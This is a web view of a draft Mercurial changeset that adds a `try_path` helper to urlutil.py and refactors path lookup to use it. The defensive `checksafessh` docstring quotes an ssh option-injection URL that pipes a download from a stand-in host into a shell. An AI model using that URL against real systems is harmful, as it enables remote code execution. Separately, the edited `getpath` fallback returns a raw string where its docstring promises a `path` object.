##// END OF EJS Templates
url_util: introduce a `try_path` function...
marmoute -
r47791:fd396eb2 default draft
parent child Browse files
Show More
@@ -1,792 +1,802 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23
24 24 if pycompat.TYPE_CHECKING:
25 25 from typing import (
26 26 Union,
27 27 )
28 28
29 29 urlreq = urllibcompat.urlreq
30 30
31 31
32 32 def getport(port):
33 33 # type: (Union[bytes, int]) -> int
34 34 """Return the port for a given network service.
35 35
36 36 If port is an integer, it's returned as is. If it's a string, it's
37 37 looked up using socket.getservbyname(). If there's no matching
38 38 service, error.Abort is raised.
39 39 """
40 40 try:
41 41 return int(port)
42 42 except ValueError:
43 43 pass
44 44
45 45 try:
46 46 return socket.getservbyname(pycompat.sysstr(port))
47 47 except socket.error:
48 48 raise error.Abort(
49 49 _(b"no port number associated with service '%s'") % port
50 50 )
51 51
52 52
53 53 class url(object):
54 54 r"""Reliable URL parser.
55 55
56 56 This parses URLs and provides attributes for the following
57 57 components:
58 58
59 59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
60 60
61 61 Missing components are set to None. The only exception is
62 62 fragment, which is set to '' if present but empty.
63 63
64 64 If parsefragment is False, fragment is included in query. If
65 65 parsequery is False, query is included in path. If both are
66 66 False, both fragment and query are included in path.
67 67
68 68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
69 69
70 70 Note that for backward compatibility reasons, bundle URLs do not
71 71 take host names. That means 'bundle://../' has a path of '../'.
72 72
73 73 Examples:
74 74
75 75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
76 76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
77 77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
78 78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
79 79 >>> url(b'file:///home/joe/repo')
80 80 <url scheme: 'file', path: '/home/joe/repo'>
81 81 >>> url(b'file:///c:/temp/foo/')
82 82 <url scheme: 'file', path: 'c:/temp/foo/'>
83 83 >>> url(b'bundle:foo')
84 84 <url scheme: 'bundle', path: 'foo'>
85 85 >>> url(b'bundle://../foo')
86 86 <url scheme: 'bundle', path: '../foo'>
87 87 >>> url(br'c:\foo\bar')
88 88 <url path: 'c:\\foo\\bar'>
89 89 >>> url(br'\\blah\blah\blah')
90 90 <url path: '\\\\blah\\blah\\blah'>
91 91 >>> url(br'\\blah\blah\blah#baz')
92 92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
93 93 >>> url(br'file:///C:\users\me')
94 94 <url scheme: 'file', path: 'C:\\users\\me'>
95 95
96 96 Authentication credentials:
97 97
98 98 >>> url(b'ssh://joe:xyz@x/repo')
99 99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
100 100 >>> url(b'ssh://joe@x/repo')
101 101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
102 102
103 103 Query strings and fragments:
104 104
105 105 >>> url(b'http://host/a?b#c')
106 106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
107 107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
108 108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
109 109
110 110 Empty path:
111 111
112 112 >>> url(b'')
113 113 <url path: ''>
114 114 >>> url(b'#a')
115 115 <url path: '', fragment: 'a'>
116 116 >>> url(b'http://host/')
117 117 <url scheme: 'http', host: 'host', path: ''>
118 118 >>> url(b'http://host/#a')
119 119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
120 120
121 121 Only scheme:
122 122
123 123 >>> url(b'http:')
124 124 <url scheme: 'http'>
125 125 """
126 126
127 127 _safechars = b"!~*'()+"
128 128 _safepchars = b"/!~*'()+:\\"
129 129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
130 130
131 131 def __init__(self, path, parsequery=True, parsefragment=True):
132 132 # type: (bytes, bool, bool) -> None
133 133 # We slowly chomp away at path until we have only the path left
134 134 self.scheme = self.user = self.passwd = self.host = None
135 135 self.port = self.path = self.query = self.fragment = None
136 136 self._localpath = True
137 137 self._hostport = b''
138 138 self._origpath = path
139 139
140 140 if parsefragment and b'#' in path:
141 141 path, self.fragment = path.split(b'#', 1)
142 142
143 143 # special case for Windows drive letters and UNC paths
144 144 if hasdriveletter(path) or path.startswith(b'\\\\'):
145 145 self.path = path
146 146 return
147 147
148 148 # For compatibility reasons, we can't handle bundle paths as
149 149 # normal URLS
150 150 if path.startswith(b'bundle:'):
151 151 self.scheme = b'bundle'
152 152 path = path[7:]
153 153 if path.startswith(b'//'):
154 154 path = path[2:]
155 155 self.path = path
156 156 return
157 157
158 158 if self._matchscheme(path):
159 159 parts = path.split(b':', 1)
160 160 if parts[0]:
161 161 self.scheme, path = parts
162 162 self._localpath = False
163 163
164 164 if not path:
165 165 path = None
166 166 if self._localpath:
167 167 self.path = b''
168 168 return
169 169 else:
170 170 if self._localpath:
171 171 self.path = path
172 172 return
173 173
174 174 if parsequery and b'?' in path:
175 175 path, self.query = path.split(b'?', 1)
176 176 if not path:
177 177 path = None
178 178 if not self.query:
179 179 self.query = None
180 180
181 181 # // is required to specify a host/authority
182 182 if path and path.startswith(b'//'):
183 183 parts = path[2:].split(b'/', 1)
184 184 if len(parts) > 1:
185 185 self.host, path = parts
186 186 else:
187 187 self.host = parts[0]
188 188 path = None
189 189 if not self.host:
190 190 self.host = None
191 191 # path of file:///d is /d
192 192 # path of file:///d:/ is d:/, not /d:/
193 193 if path and not hasdriveletter(path):
194 194 path = b'/' + path
195 195
196 196 if self.host and b'@' in self.host:
197 197 self.user, self.host = self.host.rsplit(b'@', 1)
198 198 if b':' in self.user:
199 199 self.user, self.passwd = self.user.split(b':', 1)
200 200 if not self.host:
201 201 self.host = None
202 202
203 203 # Don't split on colons in IPv6 addresses without ports
204 204 if (
205 205 self.host
206 206 and b':' in self.host
207 207 and not (
208 208 self.host.startswith(b'[') and self.host.endswith(b']')
209 209 )
210 210 ):
211 211 self._hostport = self.host
212 212 self.host, self.port = self.host.rsplit(b':', 1)
213 213 if not self.host:
214 214 self.host = None
215 215
216 216 if (
217 217 self.host
218 218 and self.scheme == b'file'
219 219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
220 220 ):
221 221 raise error.Abort(
222 222 _(b'file:// URLs can only refer to localhost')
223 223 )
224 224
225 225 self.path = path
226 226
227 227 # leave the query string escaped
228 228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
229 229 v = getattr(self, a)
230 230 if v is not None:
231 231 setattr(self, a, urlreq.unquote(v))
232 232
233 233 def copy(self):
234 234 u = url(b'temporary useless value')
235 235 u.path = self.path
236 236 u.scheme = self.scheme
237 237 u.user = self.user
238 238 u.passwd = self.passwd
239 239 u.host = self.host
240 240 u.path = self.path
241 241 u.query = self.query
242 242 u.fragment = self.fragment
243 243 u._localpath = self._localpath
244 244 u._hostport = self._hostport
245 245 u._origpath = self._origpath
246 246 return u
247 247
248 248 @encoding.strmethod
249 249 def __repr__(self):
250 250 attrs = []
251 251 for a in (
252 252 b'scheme',
253 253 b'user',
254 254 b'passwd',
255 255 b'host',
256 256 b'port',
257 257 b'path',
258 258 b'query',
259 259 b'fragment',
260 260 ):
261 261 v = getattr(self, a)
262 262 if v is not None:
263 263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
264 264 return b'<url %s>' % b', '.join(attrs)
265 265
266 266 def __bytes__(self):
267 267 r"""Join the URL's components back into a URL string.
268 268
269 269 Examples:
270 270
271 271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
272 272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
273 273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
274 274 'http://user:pw@host:80/?foo=bar&baz=42'
275 275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
276 276 'http://user:pw@host:80/?foo=bar%3dbaz'
277 277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
278 278 'ssh://user:pw@[::1]:2200//home/joe#'
279 279 >>> bytes(url(b'http://localhost:80//'))
280 280 'http://localhost:80//'
281 281 >>> bytes(url(b'http://localhost:80/'))
282 282 'http://localhost:80/'
283 283 >>> bytes(url(b'http://localhost:80'))
284 284 'http://localhost:80/'
285 285 >>> bytes(url(b'bundle:foo'))
286 286 'bundle:foo'
287 287 >>> bytes(url(b'bundle://../foo'))
288 288 'bundle:../foo'
289 289 >>> bytes(url(b'path'))
290 290 'path'
291 291 >>> bytes(url(b'file:///tmp/foo/bar'))
292 292 'file:///tmp/foo/bar'
293 293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
294 294 'file:///c:/tmp/foo/bar'
295 295 >>> print(url(br'bundle:foo\bar'))
296 296 bundle:foo\bar
297 297 >>> print(url(br'file:///D:\data\hg'))
298 298 file:///D:\data\hg
299 299 """
300 300 if self._localpath:
301 301 s = self.path
302 302 if self.scheme == b'bundle':
303 303 s = b'bundle:' + s
304 304 if self.fragment:
305 305 s += b'#' + self.fragment
306 306 return s
307 307
308 308 s = self.scheme + b':'
309 309 if self.user or self.passwd or self.host:
310 310 s += b'//'
311 311 elif self.scheme and (
312 312 not self.path
313 313 or self.path.startswith(b'/')
314 314 or hasdriveletter(self.path)
315 315 ):
316 316 s += b'//'
317 317 if hasdriveletter(self.path):
318 318 s += b'/'
319 319 if self.user:
320 320 s += urlreq.quote(self.user, safe=self._safechars)
321 321 if self.passwd:
322 322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
323 323 if self.user or self.passwd:
324 324 s += b'@'
325 325 if self.host:
326 326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
327 327 s += urlreq.quote(self.host)
328 328 else:
329 329 s += self.host
330 330 if self.port:
331 331 s += b':' + urlreq.quote(self.port)
332 332 if self.host:
333 333 s += b'/'
334 334 if self.path:
335 335 # TODO: similar to the query string, we should not unescape the
336 336 # path when we store it, the path might contain '%2f' = '/',
337 337 # which we should *not* escape.
338 338 s += urlreq.quote(self.path, safe=self._safepchars)
339 339 if self.query:
340 340 # we store the query in escaped form.
341 341 s += b'?' + self.query
342 342 if self.fragment is not None:
343 343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
344 344 return s
345 345
346 346 __str__ = encoding.strmethod(__bytes__)
347 347
348 348 def authinfo(self):
349 349 user, passwd = self.user, self.passwd
350 350 try:
351 351 self.user, self.passwd = None, None
352 352 s = bytes(self)
353 353 finally:
354 354 self.user, self.passwd = user, passwd
355 355 if not self.user:
356 356 return (s, None)
357 357 # authinfo[1] is passed to urllib2 password manager, and its
358 358 # URIs must not contain credentials. The host is passed in the
359 359 # URIs list because Python < 2.4.3 uses only that to search for
360 360 # a password.
361 361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
362 362
363 363 def isabs(self):
364 364 if self.scheme and self.scheme != b'file':
365 365 return True # remote URL
366 366 if hasdriveletter(self.path):
367 367 return True # absolute for our purposes - can't be joined()
368 368 if self.path.startswith(br'\\'):
369 369 return True # Windows UNC path
370 370 if self.path.startswith(b'/'):
371 371 return True # POSIX-style
372 372 return False
373 373
374 374 def localpath(self):
375 375 # type: () -> bytes
376 376 if self.scheme == b'file' or self.scheme == b'bundle':
377 377 path = self.path or b'/'
378 378 # For Windows, we need to promote hosts containing drive
379 379 # letters to paths with drive letters.
380 380 if hasdriveletter(self._hostport):
381 381 path = self._hostport + b'/' + self.path
382 382 elif (
383 383 self.host is not None and self.path and not hasdriveletter(path)
384 384 ):
385 385 path = b'/' + path
386 386 return path
387 387 return self._origpath
388 388
389 389 def islocal(self):
390 390 '''whether localpath will return something that posixfile can open'''
391 391 return (
392 392 not self.scheme
393 393 or self.scheme == b'file'
394 394 or self.scheme == b'bundle'
395 395 )
396 396
397 397
398 398 def hasscheme(path):
399 399 # type: (bytes) -> bool
400 400 return bool(url(path).scheme) # cast to help pytype
401 401
402 402
403 403 def hasdriveletter(path):
404 404 # type: (bytes) -> bool
405 405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
406 406
407 407
408 408 def urllocalpath(path):
409 409 # type: (bytes) -> bytes
410 410 return url(path, parsequery=False, parsefragment=False).localpath()
411 411
412 412
413 413 def checksafessh(path):
414 414 # type: (bytes) -> None
415 415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
416 416
417 417 This is a sanity check for ssh urls. ssh will parse the first item as
418 418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
419 419 Let's prevent these potentially exploited urls entirely and warn the
420 420 user.
421 421
422 422 Raises an error.Abort when the url is unsafe.
423 423 """
424 424 path = urlreq.unquote(path)
425 425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
426 426 raise error.Abort(
427 427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
428 428 )
429 429
430 430
431 431 def hidepassword(u):
432 432 # type: (bytes) -> bytes
433 433 '''hide user credential in a url string'''
434 434 u = url(u)
435 435 if u.passwd:
436 436 u.passwd = b'***'
437 437 return bytes(u)
438 438
439 439
440 440 def removeauth(u):
441 441 # type: (bytes) -> bytes
442 442 '''remove all authentication information from a url string'''
443 443 u = url(u)
444 444 u.user = u.passwd = None
445 445 return bytes(u)
446 446
447 447
448 def try_path(ui, url):
449 """try to build a path from a url
450
451 Return None if no Path could built.
452 """
453 try:
454 # we pass the ui instance are warning might need to be issued
455 return path(ui, None, rawloc=url)
456 except ValueError:
457 return None
458
459
448 460 def get_push_paths(repo, ui, dests):
449 461 """yields all the `path` selected as push destination by `dests`"""
450 462 if not dests:
451 463 if b'default-push' in ui.paths:
452 464 yield ui.paths[b'default-push']
453 465 elif b'default' in ui.paths:
454 466 yield ui.paths[b'default']
455 467 else:
456 468 raise error.ConfigError(
457 469 _(b'default repository not configured!'),
458 470 hint=_(b"see 'hg help config.paths'"),
459 471 )
460 472 else:
461 473 for dest in dests:
462 474 yield ui.getpath(dest)
463 475
464 476
465 477 def get_pull_paths(repo, ui, sources, default_branches=()):
466 478 """yields all the `(path, branch)` selected as pull source by `sources`"""
467 479 if not sources:
468 480 sources = [b'default']
469 481 for source in sources:
470 482 if source in ui.paths:
471 483 url = ui.paths[source].rawloc
472 484 else:
473 485 # Try to resolve as a local path or URI.
474 try:
475 # we pass the ui instance are warning might need to be issued
476 url = path(ui, None, rawloc=source).rawloc
477 except ValueError:
486 path = try_path(ui, source)
487 if path is not None:
488 url = path.rawloc
489 else:
478 490 url = source
479 491 yield parseurl(url, default_branches)
480 492
481 493
482 494 def get_unique_push_path(action, repo, ui, dest=None):
483 495 """return a unique `path` or abort if multiple are found
484 496
485 497 This is useful for command and action that does not support multiple
486 498 destination (yet).
487 499
488 500 Note that for now, we cannot get multiple destination so this function is "trivial".
489 501
490 502 The `action` parameter will be used for the error message.
491 503 """
492 504 if dest is None:
493 505 dests = []
494 506 else:
495 507 dests = [dest]
496 508 dests = list(get_push_paths(repo, ui, dests))
497 509 assert len(dests) == 1
498 510 return dests[0]
499 511
500 512
501 513 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
502 514 """return a unique `(path, branch)` or abort if multiple are found
503 515
504 516 This is useful for command and action that does not support multiple
505 517 destination (yet).
506 518
507 519 Note that for now, we cannot get multiple destination so this function is "trivial".
508 520
509 521 The `action` parameter will be used for the error message.
510 522 """
511 523 if source is None:
512 524 if b'default' in ui.paths:
513 525 url = ui.paths[b'default'].rawloc
514 526 else:
515 527 # XXX this is the historical default behavior, but that is not
516 528 # great, consider breaking BC on this.
517 529 url = b'default'
518 530 else:
519 531 if source in ui.paths:
520 532 url = ui.paths[source].rawloc
521 533 else:
522 534 # Try to resolve as a local path or URI.
523 try:
524 # we pass the ui instance are warning might need to be issued
525 url = path(ui, None, rawloc=source).rawloc
526 except ValueError:
535 path = try_path(ui, source)
536 if path is not None:
537 url = path.rawloc
538 else:
527 539 url = source
528 540 return parseurl(url, default_branches)
529 541
530 542
531 543 def get_clone_path(ui, source, default_branches=()):
532 544 """return the `(origsource, path, branch)` selected as clone source"""
533 545 if source is None:
534 546 if b'default' in ui.paths:
535 547 url = ui.paths[b'default'].rawloc
536 548 else:
537 549 # XXX this is the historical default behavior, but that is not
538 550 # great, consider breaking BC on this.
539 551 url = b'default'
540 552 else:
541 553 if source in ui.paths:
542 554 url = ui.paths[source].rawloc
543 555 else:
544 556 # Try to resolve as a local path or URI.
545 try:
546 # we pass the ui instance are warning might need to be issued
547 url = path(ui, None, rawloc=source).rawloc
548 except ValueError:
557 path = try_path(ui, source)
558 if path is not None:
559 url = path.rawloc
560 else:
549 561 url = source
550 562 clone_path, branch = parseurl(url, default_branches)
551 563 return url, clone_path, branch
552 564
553 565
554 566 def parseurl(path, branches=None):
555 567 '''parse url#branch, returning (url, (branch, branches))'''
556 568 u = url(path)
557 569 branch = None
558 570 if u.fragment:
559 571 branch = u.fragment
560 572 u.fragment = None
561 573 return bytes(u), (branch, branches or [])
562 574
563 575
564 576 class paths(dict):
565 577 """Represents a collection of paths and their configs.
566 578
567 579 Data is initially derived from ui instances and the config files they have
568 580 loaded.
569 581 """
570 582
571 583 def __init__(self, ui):
572 584 dict.__init__(self)
573 585
574 586 for name, loc in ui.configitems(b'paths', ignoresub=True):
575 587 # No location is the same as not existing.
576 588 if not loc:
577 589 continue
578 590 loc, sub_opts = ui.configsuboptions(b'paths', name)
579 591 self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
580 592
581 593 for name, p in sorted(self.items()):
582 594 p.chain_path(ui, self)
583 595
584 596 def getpath(self, ui, name, default=None):
585 597 """Return a ``path`` from a string, falling back to default.
586 598
587 599 ``name`` can be a named path or locations. Locations are filesystem
588 600 paths or URIs.
589 601
590 602 Returns None if ``name`` is not a registered path, a URI, or a local
591 603 path to a repo.
592 604 """
593 605 # Only fall back to default if no path was requested.
594 606 if name is None:
595 607 if not default:
596 608 default = ()
597 609 elif not isinstance(default, (tuple, list)):
598 610 default = (default,)
599 611 for k in default:
600 612 try:
601 613 return self[k]
602 614 except KeyError:
603 615 continue
604 616 return None
605 617
606 618 # Most likely empty string.
607 619 # This may need to raise in the future.
608 620 if not name:
609 621 return None
610
611 try:
622 if name in self:
612 623 return self[name]
613 except KeyError:
624 else:
614 625 # Try to resolve as a local path or URI.
615 try:
616 # we pass the ui instance are warning might need to be issued
617 return path(ui, None, rawloc=name)
618 except ValueError:
626 path = try_path(ui, name)
627 if path is None:
619 628 raise error.RepoError(_(b'repository %s does not exist') % name)
629 return path.rawloc
620 630
621 631
622 632 _pathsuboptions = {}
623 633
624 634
625 635 def pathsuboption(option, attr):
626 636 """Decorator used to declare a path sub-option.
627 637
628 638 Arguments are the sub-option name and the attribute it should set on
629 639 ``path`` instances.
630 640
631 641 The decorated function will receive as arguments a ``ui`` instance,
632 642 ``path`` instance, and the string value of this option from the config.
633 643 The function should return the value that will be set on the ``path``
634 644 instance.
635 645
636 646 This decorator can be used to perform additional verification of
637 647 sub-options and to change the type of sub-options.
638 648 """
639 649
640 650 def register(func):
641 651 _pathsuboptions[option] = (attr, func)
642 652 return func
643 653
644 654 return register
645 655
646 656
647 657 @pathsuboption(b'pushurl', b'pushloc')
648 658 def pushurlpathoption(ui, path, value):
649 659 u = url(value)
650 660 # Actually require a URL.
651 661 if not u.scheme:
652 662 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
653 663 return None
654 664
655 665 # Don't support the #foo syntax in the push URL to declare branch to
656 666 # push.
657 667 if u.fragment:
658 668 ui.warn(
659 669 _(
660 670 b'("#fragment" in paths.%s:pushurl not supported; '
661 671 b'ignoring)\n'
662 672 )
663 673 % path.name
664 674 )
665 675 u.fragment = None
666 676
667 677 return bytes(u)
668 678
669 679
670 680 @pathsuboption(b'pushrev', b'pushrev')
671 681 def pushrevpathoption(ui, path, value):
672 682 return value
673 683
674 684
675 685 class path(object):
676 686 """Represents an individual path and its configuration."""
677 687
678 688 def __init__(self, ui, name, rawloc=None, suboptions=None):
679 689 """Construct a path from its config options.
680 690
681 691 ``ui`` is the ``ui`` instance the path is coming from.
682 692 ``name`` is the symbolic name of the path.
683 693 ``rawloc`` is the raw location, as defined in the config.
684 694 ``pushloc`` is the raw locations pushes should be made to.
685 695
686 696 If ``name`` is not defined, we require that the location be a) a local
687 697 filesystem path with a .hg directory or b) a URL. If not,
688 698 ``ValueError`` is raised.
689 699 """
690 700 if not rawloc:
691 701 raise ValueError(b'rawloc must be defined')
692 702
693 703 # Locations may define branches via syntax <base>#<branch>.
694 704 u = url(rawloc)
695 705 branch = None
696 706 if u.fragment:
697 707 branch = u.fragment
698 708 u.fragment = None
699 709
700 710 self.url = u
701 711 # the url from the config/command line before dealing with `path://`
702 712 self.raw_url = u.copy()
703 713 self.branch = branch
704 714
705 715 self.name = name
706 716 self.rawloc = rawloc
707 717 self.loc = b'%s' % u
708 718
709 719 self._validate_path()
710 720
711 721 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
712 722 self._own_sub_opts = {}
713 723 if suboptions is not None:
714 724 self._own_sub_opts = suboptions.copy()
715 725 sub_opts.update(suboptions)
716 726 self._all_sub_opts = sub_opts.copy()
717 727
718 728 self._apply_suboptions(ui, sub_opts)
719 729
720 730 def chain_path(self, ui, paths):
721 731 if self.url.scheme == b'path':
722 732 assert self.url.path is None
723 733 try:
724 734 subpath = paths[self.url.host]
725 735 except KeyError:
726 736 m = _(b'cannot use `%s`, "%s" is not a known path')
727 737 m %= (self.rawloc, self.url.host)
728 738 raise error.Abort(m)
729 739 if subpath.raw_url.scheme == b'path':
730 740 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
731 741 m %= (self.rawloc, self.url.host)
732 742 raise error.Abort(m)
733 743 self.url = subpath.url
734 744 self.rawloc = subpath.rawloc
735 745 self.loc = subpath.loc
736 746 if self.branch is None:
737 747 self.branch = subpath.branch
738 748 else:
739 749 base = self.rawloc.rsplit(b'#', 1)[0]
740 750 self.rawloc = b'%s#%s' % (base, self.branch)
741 751 suboptions = subpath._all_sub_opts.copy()
742 752 suboptions.update(self._own_sub_opts)
743 753 self._apply_suboptions(ui, suboptions)
744 754
745 755 def _validate_path(self):
746 756 # When given a raw location but not a symbolic name, validate the
747 757 # location is valid.
748 758 if (
749 759 not self.name
750 760 and not self.url.scheme
751 761 and not self._isvalidlocalpath(self.loc)
752 762 ):
753 763 raise ValueError(
754 764 b'location is not a URL or path to a local '
755 765 b'repo: %s' % self.rawloc
756 766 )
757 767
758 768 def _apply_suboptions(self, ui, sub_options):
759 769 # Now process the sub-options. If a sub-option is registered, its
760 770 # attribute will always be present. The value will be None if there
761 771 # was no valid sub-option.
762 772 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
763 773 if suboption not in sub_options:
764 774 setattr(self, attr, None)
765 775 continue
766 776
767 777 value = func(ui, self, sub_options[suboption])
768 778 setattr(self, attr, value)
769 779
770 780 def _isvalidlocalpath(self, path):
771 781 """Returns True if the given path is a potentially valid repository.
772 782 This is its own function so that extensions can change the definition of
773 783 'valid' in this case (like when pulling from a git repo into a hg
774 784 one)."""
775 785 try:
776 786 return os.path.isdir(os.path.join(path, b'.hg'))
777 787 # Python 2 may return TypeError. Python 3, ValueError.
778 788 except (TypeError, ValueError):
779 789 return False
780 790
781 791 @property
782 792 def suboptions(self):
783 793 """Return sub-options and their values for this path.
784 794
785 795 This is intended to be used for presentation purposes.
786 796 """
787 797 d = {}
788 798 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
789 799 value = getattr(self, attr)
790 800 if value is not None:
791 801 d[subopt] = value
792 802 return d
General Comments 0
You need to be logged in to leave comments. Login now